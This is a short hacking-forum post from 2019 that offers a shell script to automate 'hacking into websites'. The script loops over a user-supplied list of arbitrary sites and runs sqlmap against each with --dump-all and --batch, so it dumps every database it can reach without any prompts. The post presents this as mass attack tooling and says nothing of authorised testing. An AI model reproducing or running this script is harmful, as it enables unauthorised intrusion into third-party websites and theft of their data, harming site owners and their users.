Automate Hacking into Websites with SQLMap and Shell Script 05-19-2019, 12:09 AM
#1
1. Just get a list of websites and save them to a file.
2. save this shell script to a file
3. execute the shell script in your console with the name of the file with the list of websites you saved
(This script will suppress all the questions and may take longer than a normal sqlmap scan.)
2. save this shell script to a file
Code:
#!/bin/sh
#sunjester / https://underwurld.club
#automating sqlmapÂ
if [ -z $1 ];
then
    echo "specify a file"
    exit
fi
while IFS='' read -r line || [[ -n "$line" ]]; do
    sqlmap -u $line --dump-all --answers="follow=Y" --batch
done < "$1"3. execute the shell script in your console with the name of the file with the list of websites you saved
(This script will suppress all the questions and may take longer than a normal sqlmap scan.)


![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
















![[Image: KmPTi6b.png]](https://i.imgur.com/KmPTi6b.png)